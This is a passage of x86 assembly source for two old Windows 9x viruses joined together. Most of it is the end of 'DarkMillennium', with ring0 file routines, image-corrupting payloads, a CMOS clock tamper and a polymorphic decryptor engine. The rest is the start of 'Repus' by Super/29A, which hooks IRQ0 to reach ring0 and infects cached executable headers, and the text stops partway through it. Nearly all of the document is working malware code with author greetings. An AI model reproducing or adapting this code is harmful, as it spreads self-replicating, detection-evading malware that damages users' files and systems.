Ring0_File_IO endp

file_open proc
mov bx, 2
mov cx, 0
mov dx, 1
mov eax, R0_opencreatefile
call Ring0_File_IO
ret
file_open endp

file_close proc
mov eax, R0_closefile
call Ring0_File_IO
ret
file_close endp

file_read proc
mov eax, R0_readfile
call Ring0_File_IO
ret
file_read endp

file_write proc
mov eax, R0_writefile
call Ring0_File_IO
ret
file_write endp

Payload proc

; Check the number of infected files


pushad
mov ax, word ptr [edi + infected_files - Start] ; check the number of infected
files
inc ax ; increase the counter with 1
mov word ptr [edi + infected_files - Start], ax
cmp ax, infected_nr_trigger
jne not_yet

mov ax, 0 ; reset the counter


mov word ptr [edi + infected_files - Start], ax
; the counter will also be reseted at in every new infected file

; (on every infected_nr_trigger will trigger a message box)


lea eax, [edi + WinTitle - Start]
mov [edi + TitleOff - Start], eax
lea eax, [edi + WinText - Start]
mov [edi + TextOff - Start], eax
lea ebx, [edi + WinBox - Start]

patch5_val equ 001Ah + 256 * 256 * 002Ah


patch5 label far
VxDCall 002Ah, 001Ah

; give a try with random_in_range


; (number between 0 and 10000)
not_yet: mov eax, 10000
call random_in_range
cmp eax, 500
jg end_payload

; as you see if the random number =< 500 then test the PC for year 2000
compatibilite :)
; infact it will jump into year 2000
; the chances to do it are 5%
mov al, 07h
out 70h, al
mov al, 01h
out 71h, al ; day of the month
mov al, 08h
out 70h, al
mov al, 01h
out 71h, al ; month to January
mov al, 09h
out 70h, al
mov al, 00h
out 71h, al ; year (0 = 2000)
; by the way ... this is a good test, you will see if your computer is compatible
with year 2000 ;)
; so i recommend you get infected with DarkMillennium

end_payload:popad
ret

WinBox dd ?
butt1 dw 0
butt2 dw 0001
butt3 dw 0
TitleOff dd offset WinTitle
TextOff dd offset WinText

WinTitle db 'DarkMillennium Project',0


WinText db 'DarkMillennium Project', 10, 'Copyright (C) 1999 by Clau/Ultimate Chaos', 10
db 'www.ultimatechaos.org', 10
db 'Greets to all VXers out there !', 0

Payload endp

copyright db 'DarkMillennium Project', 13, 10, 'Copyright (C) 1999 by Clau/Ultimate


Chaos', 0
copyright_end:

bmp_Payload proc
pushad
; Open the file
lea esi, [edi + filename - Start]
call file_open
mov dword ptr [edi + handle - Start], eax

; Read file
lea esi, [edi + gfx_buffer - Start]
mov ebx, [edi + handle - Start]
mov ecx, 256
mov edx, 54
call file_read

; Change the things arround


lea esi, [edi + gfx_buffer - Start]
mov ecx, 256

bmp_dark: cmp byte ptr [esi], 5


jl bmp_color_1
sub byte ptr [esi], 5
bmp_color_1:inc esi
cmp byte ptr [esi], 5
jl bmp_color_2
sub byte ptr [esi], 5
bmp_color_2:inc esi
cmp byte ptr [esi], 5
jl bmp_color_out
sub byte ptr [esi], 5
bmp_color_out:
add esi, 2
sub ecx, 4
cmp ecx, 0
jne bmp_dark

; Write file
lea esi, [edi + gfx_buffer - Start]
mov ecx, 256
mov ebx, [edi + handle - Start]
mov edx, 54
call file_write

; Close file
mov ebx, [edi + handle - Start]
call file_close

popad
ret
bmp_Payload endp

gif_Payload proc

; Thanks goes to MidNyte for helping me with informations and code

pushad

; Open the file


lea esi, [edi + filename - Start]
call file_open
mov dword ptr [edi + handle - Start], eax

; Read file
lea esi, [edi + gfx_buffer - Start]
mov ebx, eax
mov ecx, 10Dh
mov edx, 0000h
call file_read

xor ecx, ecx


mov cl, byte ptr [edi + gfx_buffer + 000Ah - Start]
and cl, 00000111b
cmp cl, 0
je exit_gif_payload ; somethin' is wrong

mov ax, 2
get_colours:shl ax, 1
loop get_colours

mov cx, ax
shl ax, 1
add cx, ax
lea esi, [edi + gfx_buffer - Start]
add esi, 000Dh

push edi
mov edi, esi
darken: lodsb
cmp al, 14h
jb skip_entry
sub al, 14h
stosb
skip_entry: loop darken
pop edi

; Write buffer back to file


lea esi, [edi + gfx_buffer - Start]
mov ebx, [edi + handle - Start]
mov ecx, 10Dh
mov edx, 0 ; loc. to write in file
call file_write

exit_gif_payload:
; Close file
mov ebx, [edi + handle - Start]
call file_close

popad
ret
gif_Payload endp

; ------------------------------------------------------------
;| Poly Engine |
; ------------------------------------------------------------

; Generate decryptor
; EBP = location for decryptor
GenDecryptor proc

xchg ebp, edi


call InitRegGenerator
call GenerateRegisters

; call 00000000h
mov al, 0E8h
stosb
mov eax, 00000000h
stosd

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; mov reg1, ESP


mov cl, byte ptr [ebp + reg_1 - Start]
mov ch, 04h ; ESP
mov ax, 0001h
xchg ebp, edi
call GenPutX1X2
xchg ebp, edi

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; mov reg_2, ss:[reg_1]


mov cl, byte ptr [ebp + reg_2 - Start]
mov ch, byte ptr [ebp + reg_1 - Start]
mov ax, 0101h
xchg ebp, edi
call GenPutX1X2
xchg ebp, edi

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; sub reg_2, offset Delta


mov al, 81h
stosb
mov al, byte ptr [ebp + reg_2 - Start]
add al, 0E8h
stosb
mov eax, offset Delta
stosd

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; xchg reg_2, ebp


mov al, 87h
stosb
mov al, byte ptr [ebp + reg_2 - Start]
add al, 0E8h
stosb

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

call GenerateRegisters

; pushad
mov al, 60h
stosb

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; lea reg_1, [ebp + key - Start] -> key offset will be setted later
mov al, 8Dh
stosb
mov al, byte ptr [ebp + reg_1 - Start]
mov ebx, 8
mul ebx
add al, 85h
stosb

mov [ebp + var2 - Start], edi ; save EDI offset, for later use
mov eax, 00000000h
stosd

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; add reg_1, offset Start


mov al, 81h
stosb
mov al, byte ptr [ebp + reg_1 - Start]
add al, 0C0h
stosb
mov eax, offset Start
stosd

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; xor reg_2, reg_2


mov al, 33h
stosb
mov al, byte ptr [ebp + reg_2 - Start]
mov ecx, eax
mov ebx, 8
mul ebx
add al, cl
add al, 0C0h
stosb

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; inc reg_2
mov [ebp + var1 - Start], edi ; save in var1 current pos for future use
mov al, 40h
add al, byte ptr [ebp + reg_2 - Start]
stosb

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; mov reg_3, [reg_1]


mov al, byte ptr [ebp + reg_3 - Start]
mov cl, al
mov ch, byte ptr [ebp + reg_1 - Start]
mov ax, 0100h
xchg ebp, edi
call GenPutX1X2
xchg ebp, edi

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; xor reg_3, reg_2


mov ax, 3366h
stosw
mov al, byte ptr [ebp + reg_3 - Start]
mov ebx, 8
mul ebx
add al, byte ptr [ebp + reg_2 - Start]
add al, 0C0h
stosb

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; cmp reg3, 9090h


mov ax, 8166h
stosw
mov al, byte ptr [ebp + reg_3 - Start]
add al, 0F8h
stosb
mov ax, 9090h
stosw

; jne -inc reg_2 line-


mov al, 75h
stosb
mov eax, [ebp + var1 - Start]
sub eax, edi
dec eax ; now JNE points to INC DI line
stosb

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; Save the number of register that contain the key for decryption
mov al, [ebp + reg_2 - Start]
mov [ebp + reg_key - Start], al

call GenerateRegisters
call GenerateFuckRegs

; lea reg_1, [ebp + key - Start] -> key offset will be setted later
mov al, 8Dh
stosb
mov al, byte ptr [ebp + reg_1 - Start]
mov ebx, 8
mul ebx
add al, 85h
stosb

mov [ebp + var3 - Start], edi ; save EDI offset, for later use
mov eax, 00000000h
stosd

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; add reg_1, offset Start


mov al, 81h
stosb
mov al, byte ptr [ebp + reg_1 - Start]
add al, 0C0h
stosb
mov eax, offset Start
stosd

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; mov reg_2, virussize


mov cl, byte ptr [ebp + reg_2 - Start]
mov ch, 0FFh
mov edx, virussize
mov ax, 0101h
xchg ebp, edi
call GenPutX1X2
xchg ebp, edi

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; xor [reg_1], reg_key


mov [ebp + var4 - Start], edi
mov ax, 3166h
stosw
xor eax, eax
mov al, byte ptr [ebp + reg_key - Start]
mov ebx, 8
mul ebx
add al, byte ptr [ebp + reg_1 - Start]
stosb

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; inc reg_1
mov al, 40h
add al, byte ptr [ebp + reg_1 - Start]
stosb

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; inc reg_1
mov al, 40h
add al, byte ptr [ebp + reg_1 - Start]
stosb

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; dec reg_2
mov al, 48h
add al, byte ptr [ebp + reg_2 - Start]
stosb

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; dec reg_2
mov al, 48h
add al, byte ptr [ebp + reg_2 - Start]
stosb

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; cmp reg_2, 1
mov al, 83h
stosb
mov al, 0F8h
add al, byte ptr [ebp + reg_2 - Start]
stosb
mov al, 01
stosb

; jg -- xor [reg_1], reg_key -- line


mov al, 07Fh
stosb
mov ax, [ebp + var4 - Start]
sub eax, edi
dec eax
stosb

; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; popad
mov al, 61h
stosb
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi

; key word for decryption


mov esi, [ebp + var2 - Start]
lea eax, key
mov byte ptr [esi], al
mov esi, [ebp + var3 - Start]
lea eax, key
mov byte ptr [esi], al
mov ax, 9090h
stosw

nop
nop
nop
nop
nop

; Generate random junk to fill the space after decryptor


lea esi, [ebp + Encr_Code - Start]
xchg ebp, edi
fill_junk: push esi
call GenerateOneByteJunk
pop esi
cmp ebp, esi
jl fill_junk
xchg ebp, edi

xchg ebp, edi


ret

var1 dd 0 ; keep location of INC DI line


var2 dd 0 ; keep location of LEA ESI, key instruction + 1
var3 dd 0 ; keep location of the second LEA ESI, key instruction + 1
var4 dd 0 ; keep location of XOR [ESI], DI instruction

GenDecryptor endp

; Init register generator


;
InitRegGenerator proc
mov byte ptr [ebp + reg_1 - Start], 0F0h
mov byte ptr [ebp + reg_2 - Start], 0F0h
mov byte ptr [ebp + reg_3 - Start], 0F0h
mov byte ptr [ebp + reg_key - Start], 0F0h
mov byte ptr [ebp + reg_fuck_1 - Start], 0F0h
mov byte ptr [ebp + reg_fuck_2 - Start], 0F0h
ret
InitRegGenerator endp

; Generate registers for use in decryptor


;
GenerateRegisters proc
pushad

; Generate reg, not ESP, not EBP


get_reg_1: mov eax, 8
call random_in_range
cmp al, 4 ; no ESP
jz get_reg_1
cmp al, 5 ; no EBP
jz get_reg_1
cmp al, byte ptr [ebp + reg_key - Start]
jz get_reg_1
mov byte ptr [ebp + reg_1 - Start], al ; save reg value for later use

; Generate reg2, not ESP, not EBP, <> reg1


get_reg_2: mov eax, 8
call random_in_range
cmp al, 4 ; no ESP
jz get_reg_2
cmp al, 5 ; no EBP
jz get_reg_2
cmp al, byte ptr [ebp + reg_1 - Start]
jz get_reg_2
cmp al, byte ptr [ebp + reg_key - Start]
jz get_reg_1
mov byte ptr [ebp + reg_2 - Start], al

; Generate reg3, not ESP, not EBP, <> reg1, <> reg2
get_reg_3: mov eax, 8
call random_in_range
cmp al, 4 ; no ESP
jz get_reg_3
cmp al, 5 ; no EBP
jz get_reg_3
cmp al, byte ptr [ebp + reg_1 - Start]
jz get_reg_3
cmp al, byte ptr [ebp + reg_2 - Start]
jz get_reg_3
cmp al, byte ptr [ebp + reg_key - Start]
jz get_reg_1
mov byte ptr [ebp + reg_3 - Start], al

popad
ret
GenerateRegisters endp

; Generate 2 registers, different from the other registers used


;
GenerateFuckRegs proc
pushad
get_reg_fuck_1:
mov eax, 8
call random_in_range
cmp al, 4 ; no ESP
jz get_reg_fuck_1
cmp al, 5 ; no EBP
jz get_reg_fuck_1
cmp al, byte ptr [ebp + reg_1 - Start]
jz get_reg_fuck_1
cmp al, byte ptr [ebp + reg_2 - Start]
jz get_reg_fuck_1
cmp al, byte ptr [ebp + reg_3 - Start]
jz get_reg_fuck_1
cmp al, byte ptr [ebp + reg_key - Start]
jz get_reg_fuck_1
mov byte ptr [ebp + reg_fuck_1 - Start], al

get_reg_fuck_2:
mov eax, 15
call random_in_range
cmp al, 7
jg ch_FFh
cmp al, 4 ; no ESP
jz get_reg_fuck_2
cmp al, 5 ; no EBP
jz get_reg_fuck_2
cmp al, byte ptr [ebp + reg_1 - Start]
jz get_reg_fuck_2
cmp al, byte ptr [ebp + reg_2 - Start]
jz get_reg_fuck_2
cmp al, byte ptr [ebp + reg_3 - Start]
jz get_reg_fuck_2
cmp al, byte ptr [ebp + reg_fuck_1 - Start]
jz get_reg_fuck_2
cmp al, byte ptr [ebp + reg_key - Start]
jz get_reg_fuck_2
mov byte ptr [ebp + reg_fuck_2 - Start], al
GenerateFuckRegs_Exit:
popad
ret

ch_FFh: mov al, 0FFh


mov byte ptr [ebp + reg_fuck_2 - Start], al
jmp GenerateFuckRegs_Exit

GenerateFuckRegs endp

; Generate MOV reg1, reg2/[reg2]/val like instructions


; EBP = location for code
; CL = reg1
; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
; ( in this case AH value will be ignored, no direct mem read like
; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
; AL = type of registry to use 0 = word ( AX, BX ... )
; 1 = dword ( EAX, EBX ... )
; byte registers are not used in my decryptor
; AH = 0 use direct value ( EAX ... )
; 1 use memory address from register ( [EAX], [ESI] ... )
; EDX = use this value instead of reg2 in case CH = 0FFh
;
GenPutX1X2 proc
push eax ecx edx

lea eax, [edi + offset GenMovType - Start]


mov [edi + MovType - Start], eax
lea eax, [edi + offset GenPushPopType - Start]
mov [edi + PushPopType - Start], eax
lea eax, [edi + offset GenXorAddType - Start]
mov [edi + XorAddType - Start], eax
lea eax, [edi + offset GenSubAddType - Start]
mov [edi + SubAddType - Start], eax

mov eax, (offset EndPutX1X2Table - offset PutX1X2Table) / 4


call random_in_range
mov esi, 4
mul esi
xchg esi, eax
add esi, edi
add esi, offset PutX1X2Table - offset Start
mov ebx, dword ptr [esi]
pop edx ecx eax
call ebx
ret

GenPutX1X2 endp

; Decryptor Junk instructions


; EBP = location for junk
GenerateJunk proc
lea eax, [edi + offset GenerateOneByteJunk - Start]
mov [edi + OneByteJunk - Start], eax
lea eax, [edi + offset GenerateINTs - Start]
mov [edi + INTs - Start], eax
lea eax, [edi + offset GenNothing - Start]
mov [edi + _Nothing - Start], eax
lea eax, [edi + offset GenRndPutX1X2 - Start]
mov [edi + RndPutX1X2 - Start], eax

mov eax, (offset EndRandomJunkTable - offset RandomJunkTable) / 4


call random_in_range
mov esi, 4
mul esi
xchg esi, eax
add esi, edi
add esi, offset RandomJunkTable - offset Start
mov eax, dword ptr [esi]
call eax
ret
GenerateJunk endp

; Generate one byte instruction, put it in [EBP] and increase EBP with 1
; EBP = location for generated code
GenerateOneByteJunk proc
lea esi, [edi + OneByteTable - Start] ; Offset of the table
mov eax, offset EndOneByteTable - offset OneByteTable ; size of table
call random_in_range ; Must generate random numbers
add esi, eax ; Add AX ( AL ) to the offset
mov al, byte ptr [esi] ; Put selected opcode in al
xchg ebp, edi
stosb ; And store it in EDI ( points to
; the decryptor instructions )
xchg ebp, edi
ret
GenerateOneByteJunk endp

; Generate INT calls and increase edi with 2


; EBP = location for generated code
GenerateINTs proc
lea esi, [edi + INTsTable - Start]
mov eax, offset EndINTsTable - offset INTsTable
call random_in_range
add esi, eax
mov ah, byte ptr [esi]
mov al, 0CDh
xchg ebp, edi
stosw
xchg ebp, edi
ret
GenerateINTs endp
; Generate NOTHING
; EBP = location for generated code
GenNothing proc
ret
GenNothing endp

; The same with GenPutX1X2 but with random registers and/or values
; NOTE : the registers are not the ones that are already in use
GenRndPutX1X2 proc
xchg ebp, edi

; random in EDX
mov eax, 0FFFFh
call random_in_range
mov dx, ax
shl edx, 10h
mov eax, 0FFFFh
call random_in_range
mov dx, ax

; random types
mov eax, 2
call random_in_range
mov bl, al
mov bh, 00h ; registers like [EAX], [EBX] ... will not be generated, only
EAX, EBX ...
; 'cause it will give Access Violation in most of the cases
mov ax, bx

call GenerateFuckRegs
mov cl, byte ptr [ebp + reg_fuck_1 - Start]
mov ch, byte ptr [ebp + reg_fuck_2 - Start]

xchg ebp, edi


call GenPutX1X2
ret
GenRndPutX1X2 endp

; Generate MOV instructions


; Generate MOV reg1, reg2/[reg2]/val like instructions
; EBP = location for code
; CL = reg1
; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
; ( in this case AH value will be ignored, no direct mem read like
; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
; AL = type of registry to use 0 = word ( AX, BX ... )
; 1 = dword ( EAX, EBX ... )
; byte registers are not used in my decryptor
; AH = 0 use direct value ( EAX ... )
; 1 use memory address from register ( [EAX], [ESI] ... )
; EDX = use this value instead of reg2 in case CH = 0FFh
;
GenMovType proc
xchg ebp, edi

cmp ch, 0FFh


jne not_val
jmp use_val

not_val: cmp ch, 04h


jnz not_esp
jmp mov_esp
not_esp: cmp ch, 05h
jnz not_ebp
jmp mov_ebp

not_ebp: cmp al, 0


jz word_type
cmp al, 1
jz dword_type
jmp MovType_End

word_type: ; reg1 = word reg


cmp ah, 1
jz word_type1

; MOV reg1, reg2


mov ax, 8B66h
stosw
mov al, cl
mov bl, 8
mul bl
add al, ch
add al, 0C0h
stosb
jmp MovType_End

word_type1: ; MOV reg1, [reg2]


mov ax, 8B66h
stosw
mov al, cl
mov bl, 8
mul bl
add al, ch
stosb
jmp MovType_End

dword_type: ; reg1 = dword reg


cmp ah, 1
jz dword_type1

; MOV reg1, reg2


mov al, 08Bh
stosb
mov al, cl
mov bl, 8
mul bl
add al, ch
add al, 0C0h
stosb
jmp MovType_End

dword_type1: ; MOV reg1, [reg2]


mov al, 8Bh
stosb
mov al, cl
mov bl, 8
mul bl
add al, ch
stosb
jmp MovType_End

mov_esp: ; MOV reg1, ESP/[ESP]


mov al, 8Bh
stosb

cmp ah, 0
jz mov_esp2

; MOV reg1, [ESP]


mov al, cl
mov bl, 8
mul bl
add al, 04h
stosb
mov al, 24h
stosb
jmp MovType_End

; MOV reg1, ESP


mov_esp2: mov al, cl
mov bl, 8
mul bl
add al, 0C4h
stosb
jmp MovType_End

mov_ebp: ; MOV reg1, EBP/[EBP]


mov al, 8Bh
stosb
cmp ah, 0
jz mov_ebp2

; MOV reg1, [EBP]


mov al, cl
mov bl, 8
mul bl
add al, 45h
stosb
mov al, 00h
stosb

; MOV reg1, EBP


mov_ebp2: mov al, cl
mov bl, 8
mul bl
add al, 0C5h
stosb
jmp MovType_End

MovType_End: xchg ebp, edi


ret

use_val: cmp al, 0


jne use_val_

mov al, 66h


stosb
mov al, 0B8h
add al, cl
stosb
mov ax, dx
stosw
jmp MovType_End

use_val_: mov al, 0B8h


add al, cl
stosb
mov eax, edx
stosd
jmp MovType_End

GenMovType endp

; Generate PUSH reg2/[reg2]/val ... POP reg1 ( = MOV reg1, reg2/[reg2]/val )


; EBP = location for code
; CL = reg1 (PUSH reg1)
; CH = reg2 (POP reg2)
; ( if CH = 0FFh then use value from EDX instead of reg2 )
; ( in this case AH value will be ignored, no direct mem read like
; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
; AL = type of registry to use 0 = word ( AX, BX ... )
; 1 = dword ( EAX, EBX ... )
; byte registers are not used in my decryptor
; AH = 0 use direct value ( EAX ... )
; 1 use memory address from register ( [EAX], [ESI] ... )
; EDX = use this value instead of reg2 in case CH = 0FFh
;
GenPushPopType proc

xchg ebp, edi

cmp ch, 0FFh


jnz not_val_2
push ax
jmp use_val_2

not_val_2: push ax
cmp al, 0
jnz not_wordreg

mov al, 66h


stosb

not_wordreg: cmp ah, 0


jz not_ebp_

cmp ch, 04h


jnz not_esp_
jmp push_esp
not_esp_: cmp ch, 05h
jnz not_ebp_
jmp push_ebp

not_ebp_: cmp ah, 1


jz push_type1

; PUSH reg2
mov al, 50h
add al, ch
stosb
jmp Pop_reg1

push_type1: ; PUSH [reg2]


mov al, 0FFh
stosb
mov al, 30h
add al, ch
stosb
; POP reg1
pop ax
cmp al, 0
jnz not_wordreg__

mov al, 66h


stosb

not_wordreg__: mov al, 58h


add al, cl
stosb
jmp PushPopType_End

push_esp: ; PUSH [ESP] (reg2)


mov ax, 34FFh
stosw
mov al, 24h
stosb
jmp Pop_reg1

push_ebp: ; PUSH [EBP] (reg2)


mov ax, 75FFh
stosw
mov al, 00h
stosb

Pop_reg1: ; POP reg1


pop ax
cmp al, 0
jnz not_wordreg_

mov al, 66h


stosb

not_wordreg_: mov al, 58h


add al, cl
stosb

PushPopType_End:xchg ebp, edi


ret

use_val_2: cmp al, 0


jnz not_wordreg___

; PUSH val
mov ax, 6866h
stosw
mov ax, dx
stosw
mov ch, cl
jmp Pop_reg1

not_wordreg___: mov al, 68h


stosb
mov eax, edx
stosd
pop ax
mov al, 1
mov ch, cl
push ax
jmp Pop_reg1
GenPushPopType endp

; Generate XOR reg1, reg1 ... ADD reg1, reg2/[reg2]/val ( = MOV reg1, reg2/[reg2]/val )
; EBP = location for code
; CL = reg1
; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
; ( in this case AH value will be ignored, no direct mem read like
; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
; AL = type of registry to use 0 = word ( AX, BX ... )
; 1 = dword ( EAX, EBX ... )
; byte registers are not used in my decryptor
; AH = 0 use direct value ( EAX ... )
; 1 use memory address from register ( [EAX], [ESI] ... )
; EDX = use this value instead of reg2 in case CH = 0FFh
;
GenXorAddType proc
xchg ebp, edi

cmp ch, 0FFh


jnz not_val_3
jmp use_val_3

not_val_3: push ax
cmp al, 0
jnz not_wordreg_2
jmp wordreg_2

not_wordreg_2: ; XOR reg1, reg1


mov al, 33h
stosb
mov al, cl
mov bl, 9
mul bl
add al, 0C0h
stosb

pop ax
cmp ah, 0
jz dwordreg_2

cmp ch, 4 ; ESP ?


jz add_esp
cmp ch, 5 ; EBP ?
jz add_ebp

; ADD reg1, [reg2]


mov al, 03h
stosb
mov al, cl
mov bl, 8
mul bl
add al, ch
stosb
jmp GenXorAddType_End

; ADD reg1, [ESP]


add_esp: mov al, 03h
stosb
mov al, cl
mov bl, 9
mul bl
add al, 04h
stosb
mov al, 24h
stosb
jmp GenSubAddType_End

; ADD reg1, [EBP]


add_ebp: mov al, 03h
stosb
mov al, cl
mov bl, 8
mul bl
add al, 45h
stosb
jmp GenSubAddType_End

dwordreg_2: ; ADD reg1, reg2


mov al, 03h
stosb
mov al, cl
mov bl, 8
mul bl
add al, 0C0h
add al, ch
stosb
jmp GenXorAddType_End

wordreg_2: ; XOR reg1, reg1


mov ax, 3366h
stosw
mov al, cl
mov bl, 9
mul bl
add al, 0C0h
stosb

pop ax
cmp ah, 0
jz wordreg_2_

; ADD reg1, [reg2]


mov ax, 0366h
stosw
mov al, cl
mov bl, 8
mul bl
add al, ch
stosb
jmp GenXorAddType_End

wordreg_2_: ; ADD reg1, reg2


mov ax, 0366h
stosw
mov al, cl
mov bl, 8
mul bl
add al, 0C0h
add al, ch
stosb
jmp GenXorAddType_End

use_val_3: ; XOR reg1, reg1


mov al, 33h
stosb
mov al, cl
mov bl, 9
mul bl
add al, 0C0h
stosb

; ADD reg1, val


mov al, 81h
stosb
mov al, 0C0h
add al, cl
stosb
mov eax, edx
stosd

GenXorAddType_End:
xchg ebp, edi
ret

GenXorAddType endp

; Generate SUB reg1, reg1 ... ADD reg1, reg2/[reg2]/val


; EBP = location for code
; CL = reg1
; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
; ( in this case AH value will be ignored, no direct mem read like
; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
; AL = type of registry to use 0 = word ( AX, BX ... )
; 1 = dword ( EAX, EBX ... )
; byte registers are not used in my decryptor
; AH = 0 use direct value ( EAX ... )
; 1 use memory address from register ( [EAX], [ESI] ... )
; EDX = use this value instead of reg2 in case CH = 0FFh
;
GenSubAddType proc
xchg ebp, edi

cmp ch, 0FFh


jnz not_val_4
jmp use_val_4

not_val_4: push ax
cmp al, 0
jnz not_wordreg_3
jmp wordreg_3

not_wordreg_3: ; SUB reg1, reg1


mov al, 2Bh
stosb
mov al, cl
mov bl, 9
mul bl
add al, 0C0h
stosb

pop ax
cmp ah, 0
jz dwordreg_3

cmp ch, 4 ; ESP ?


jz add_esp_
cmp ch, 5 ; EBP ?
jz add_ebp_

; ADD reg1, [reg2]


mov al, 03h
stosb
mov al, cl
mov bl, 8
mul bl
add al, ch
stosb
jmp GenSubAddType_End

; ADD reg1, [ESP]


add_esp_: mov al, 03h
stosb
mov al, cl
mov bl, 9
mul bl
add al, 04h
stosb
mov al, 24h
stosb
jmp GenSubAddType_End

; ADD reg1, [EBP]


add_ebp_: mov al, 03h
stosb
mov al, cl
mov bl, 8
mul bl
add al, 45h
stosb
jmp GenSubAddType_End

dwordreg_3: ; ADD reg1, reg2


mov al, 03h
stosb
mov al, cl
mov bl, 8
mul bl
add al, 0C0h
add al, ch
stosb
jmp GenSubAddType_End

wordreg_3: ; SUB reg1, reg1


mov ax, 2B66h
stosw
mov al, cl
mov bl, 9
mul bl
add al, 0C0h
stosb

pop ax
cmp ah, 0
jz wordreg_3_

; ADD reg1, [reg2]


mov ax, 0366h
stosw
mov al, cl
mov bl, 8
mul bl
add al, ch
stosb
jmp GenSubAddType_End

wordreg_3_: ; ADD reg1, reg2


mov ax, 0366h
stosw
mov al, cl
mov bl, 8
mul bl
add al, 0C0h
add al, ch
stosb
jmp GenSubAddType_End

use_val_4: ; SUB reg1, reg1


mov al, 2Bh
stosb
mov al, cl
mov bl, 9
mul bl
add al, 0C0h
stosb

; ADD reg1, val


mov al, 81h
stosb
mov al, 0C0h
add al, cl
stosb
mov eax, edx
stosd

GenSubAddType_End:
xchg ebp, edi
ret
GenSubAddType endp

; Return a random number in AX, between 0 and AX-1


random_in_range proc
push bx dx
xchg ax, bx
call get_rnd
xor dx, dx
div bx
xchg ax, dx
pop dx bx
ret
random_in_range endp

; Tables

RandomJunkTable:
OneByteJunk dd offset GenerateOneByteJunk
INTs dd offset GenerateINTs
_Nothing dd offset GenNothing
RndPutX1X2 dd offset GenRndPutX1X2
EndRandomJunkTable:

OneByteTable: db 090h ; nop


db 0F8h ; clc
db 0F9h ; stc
db 0F5h ; cmc
; db 0CCh ; int 3h
; db 098h ; cbw
; db 099h ; cwd
EndOneByteTable:

INTsTable: ;db 01h


db 08h
db 0Ah
db 0Bh
db 0Ch
; db 0Dh
db 0Eh
db 0Fh
; db 1Ch
db 28h
db 2Bh
db 2Ch
db 2Dh
db 70h
db 71h
db 72h
db 73h
db 74h
; db 75h
db 76h
db 77h
; those with ; before'em will generate an error (ussualy a blue screen)

EndINTsTable:

PutX1X2Table:
MovType dd offset GenMovType
PushPopType dd offset GenPushPopType
XorAddType dd offset GenXorAddType
SubAddType dd offset GenSubAddType
EndPutX1X2Table:

regsTable:
reg_1 db 0
reg_2 db 0
reg_3 db 0
reg_key db 0
reg_fuck_1 db 0
reg_fuck_2 db 0
regsTableEnd:

_end:

gfx_buffer db 10Dh dup (0)


_end_2:

w_title db 'DarkMillennium Project', 0

end Begin
end
;=============;
; Repus virus ;
;=============;

;Coded by Super/29A

;VirusSize = 128 bytes !!!

;This is the third member of the Repus family

;-When an infected file is executed the virus patches IRQ0 handler and waits
; for it to return control to virus in ring0
;-Once in ring0, the virus searches in all caches a valid MZheader to infect,
; modifying EntryPoint (in PEheader) so virus can get control on execution
;-It will infect no more than one MZheader at a time per file system
;-MZheader will be overwritten, however windows executes it with no problems
; (tested under win95,win98,winNT and Win2K)
;-When executing a non infected file that imports APIs from an infected DLL,
; virus will get control on DLL inicialization and infect more MZheaders

;-------------------------------------------------------------------

.386p
.model flat,STDCALL

extrn ExitProcess : near


extrn MessageBoxA : near

;-------------------------------------------------------------------

VirusSize = (VirusEnd - VirusStart)

VCache_Enum macro
int 20h
dw 0009h
dw 048Bh
endm

;-------------------------------------------------------------------

.data

Title:
db 'Super/29A presents...',0

Text:
db 'Repus.'
db '0' + (VirusSize/100) mod 10
db '0' + (VirusSize/10) mod 10
db '0' + (VirusSize/1) mod 10
db 0

;-------------------------------------------------------------------

.code

;===================================================================
VirusStart:

db 'M' ; dec ebp

VirusEntryPoint:

db 'Z' ; pop edx

push edx
dec edx
jns JumpHost ; exit if we are running winNT

mov ebx,0C0001100h ; IRQ0 ring0 handler

mov dl,0C3h

xchg dl,[ebx] ; hook IRQ0 to get ring0

Wait_IRQ0:

cmp esp,edx
jb Wait_IRQ0

;Now we are in ring0

xchg dl,[ebx]

lea edx,[eax+(InfectCache-VirusEntryPoint)] ; EDX = infection routine

fld qword ptr [eax+(Next_FSD-VirusEntryPoint)] ; save VxD dinamic call

Next_FSD:

VCache_Enum ; enumerate all caches

inc ah
jnz Next_FSD ; try next file system

call ebx ; return control to IRQ0 and return just after the CALL

;Now we are in ring3

JumpHost:

jmp HostEntryPoint ; return control to host

;-------------------------------------------------------------------

InfectCache:

xor dl,dl ; EDX = ImageBase

